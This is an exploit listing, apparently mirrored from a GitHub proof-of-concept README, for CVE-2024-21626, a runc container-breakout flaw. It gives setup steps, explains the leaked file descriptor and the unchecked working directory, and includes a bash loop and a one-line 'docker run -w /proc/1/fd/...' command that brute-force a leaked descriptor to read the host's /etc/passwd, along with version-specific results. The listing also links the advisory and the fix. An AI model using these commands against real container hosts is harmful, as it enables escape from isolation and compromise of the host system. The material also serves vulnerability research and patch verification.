Exploit for File Descriptor Leak in Linuxfoundation Runc

## https://sploitus.com/exploit?id=207BB00A-7F81-5127-AA4E-B5FFE870651B
Usage:

1. git clone https://github.com/cdxiaodong/CVE-2024-21626

2. docker-compose up

Verification: If the `/etc/passwd` file of the host system is obtained, then this vulnerability exists.

Environment: runc: >=v1.0.0-rc93, <=1.1.11

Attack details and principle: In the affected versions of runc, some internal file descriptors are leaked during initialization, including handles for `/sys/fs/cgroup`. Additionally, runc does not verify whether the final working directory lies within the container’s mounted namespace. An attacker can modify the `process.cwd` configuration to point to `/proc/self/fd/7`, or replace the specific path passed as the `--cwd` parameter when running `runc exec` with a symbolic link to `/proc/self/fd/7`. This allows processes within the container to access and manipulate the host’s file system, thereby bypassing the container’s isolation mechanism. More details (gif image):

1. The attacker uses a custom `docker-poc` package to exploit [CVE-2024-21626: runc process.cwd and leaked FDS, container breakthrough | snyk.io](https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/)
3. This `docker-image` has not been made open source on the public network since 20240201.
![img_v3_027l_c9651fc0-e6db-4524-9363-1e12fca4f8dg](https://github.com/cdxiaodong/CVE-2024-21626/assets/84082748/1cbd9a99-16be-4883-adf3-162fdc992696)
4. Official source code modification logic: [Merge pull request from GHSA-xr7r-f8xq-vfvv · opencontainers/runc@0212048 (github.com)](https://github.com/opencontainers/runc/commit/02120488a4c0fc487d1ed2867e901eeed7ce8ecf)
5. [Runc vulnerable to Process.CWD trick and leaked FDS, container breakthrough ·CVE-2024-21626 ·GitHub advisory database](https://github.com/advisories/GHSA-xr7r-f8xq-vfvv)

CVE: [CVE - CVE-2024-21626 (mitre.org)](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-21626)
Exploit creator of this vulnerability: [CVE-2024-21626: runc process.cwd and leaked FDS, container breakthrough | snyk.io](https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/)
![image](https://github.com/cdxiaodong/CVE-2024-21626/assets/84082748/bcf6e950-9cd6-45b2-a940-bf86e72b8b49)

The actual fd values may change depending on the order of file opening. The following script can be used for brute-force testing:

```
#!/bin/bash
for i in {3..10}
do
    # Use variables to construct the working directory and run the container
    docker run -w /proc/1/fd/$i ubuntu cat ../../../../../etc/passwd
done
```

Local testing succeeded:
fd/9 was found to be implemented in runc version: 1.1.10, 1.1.2
![image](https://github.com/cdxiaodong/CVE-2024-21626/assets/84082748/06ef9bd1-fc76-46a9-9694-6f48c3b9fc8f)

When `runc --version` is set to 1.0.0:
![image](https://github.com/cdxiaodong/CVE-2024-21626/assets/84082748/34752d0c-4e3e-4ca1-8617-a024a0cee92a)

When `runc --version` is set to 1.1.4, fd/8 was found to be implemented.
![image](https://github.com/cdxiaodong/CVE-2024-21626/assets/84082748/8bb43ed8-1821-4446-8f51-c64a7718c995)

A newly discovered vulnerability today. Let’s discuss more details below.

The following methods can be used to reproduce it:
1. Run `runc` with manual breakpoints for compilation.
2. Use ebf to intercept breakpoints in `runc`.
3. Create a `runc` demo.
4. Run `docker run -w /proc/1/fd/0-10 ubuntu cat ../../../../../etc/passwd` for brute-force testing.

Todo: Automating the acquisition of `runc` breakpoints for `df` is needed.